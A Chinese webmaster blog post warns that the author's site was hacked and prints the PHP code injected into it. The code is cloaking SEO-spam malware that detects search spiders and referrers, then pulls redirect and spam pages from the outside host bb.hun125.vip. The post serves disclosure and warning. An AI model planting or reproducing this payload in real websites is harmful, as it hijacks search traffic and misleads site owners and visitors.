PHP群:95885625 Hbuilder+MUI群:81989597 站长QQ:634381967
    您现在的位置: 首页 > 站长学院 > 建站经验 > 正文

    网站被注入php语句,大家注意

    作者:admin来源:网络浏览:时间:2022-03-07 18:30:26我要评论
    导读:网站最近很长时间没有查看,今天突然访问很慢,后来排查被下面这个域名注入了,现在曝光出来,真恶心!!!
    网站最近很长时间没有查看,今天突然访问很慢,后来排查被下面这个域名注入了,现在曝光出来,真恶心!!!

    下面是被注入的代码

    1. <?php 
    2. set_time_limit(0);error_reporting(0);$a="stristr";$b=$_SERVER;ini_set('user_agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)');define('url',$b['REQUEST_URI']);define('ref',$b['HTTP_REFERER']);define('ent',$b['HTTP_USER_AGENT']);define('site',"http://bb.hun125.vip/");define('road',"/?road=".$b['HTTP_HOST'].url);define('regs','@Baidu|Sogou|Yisou|Haosou|Spider|So.com|Sm.cn@i');define('area',$a(url,".xml")or $a(url,".doc")or $a(url,".pdf")or $a(url,".txt")or $a(url,".ppt")or $a(url,".pptx")or $a(url,".xls")or $a(url,".csv")or $a(url,".html")or $a(url,".shtml")or $a(url,".tacc")or $a(url,".ga")or $a(url,".gq")or $a(url,"9/")or $a(url,"8/")or $a(url,"6/")and $a(url,"?"));if(area&&preg_match(regs,ref)){echo file_get_contents('http://bb.hun125.vip/tz.html');exit;}if(preg_match(regs,ent)){if(area){echo file_get_contents(site.road);file_get_contents('http://bb.hun125.vip/'.road);exit;}else{echo file_get_contents("http://bb.hun125.vip/?zz=1");ob_flush();flush();}} 
    3. ?> 

     

    转载请注明(B5教程网)原文链接:https://b5.mxunkeji.com/content-97-6659-1.html
    相关热词搜索:
    下一篇:最后一页